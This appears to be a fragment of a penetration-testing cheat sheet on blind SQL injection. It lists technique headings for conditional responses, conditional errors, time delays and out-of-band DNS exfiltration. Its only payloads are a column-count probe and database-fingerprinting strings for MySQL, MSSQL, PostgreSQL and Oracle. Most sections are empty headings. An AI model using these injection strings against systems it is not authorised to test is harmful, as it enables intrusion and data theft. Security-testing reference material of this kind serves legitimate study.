Blind SQL Injection
Observe differences within HTTP response in terms of headers, content or bytes
Conditional Statements
Detect number of columns
A' OR 1=1 ORDER BY 1 -- commentDetect database
A' AND TRUE=(SELECT @@version) -- comment MySQL or MSSQL
A' AND 1=(SELECT 1 LIMIT 1) -- comment pure MySQL syntax
A' AND TRUE=(SELECT version()) -- comment pure PostgreSQL function
A' AND TRUE=(SELECT version FROM v$instance) -- comment Oracle v$viewDetect table
Specific data record (username)
Password length
Query data - Burp Suite Intruder
Conditional Errors
Detect database
Detect table
Conditional statements
Specific data record (username)
Password length
Query data - Burp Suite Intruder
Time Delays
Detect database
Conditional time delays
Detect table
Password length
Query data - Burp Suite Intruder
Out of Band
DNS lookup
DNS lookup with data exfiltration
Last updated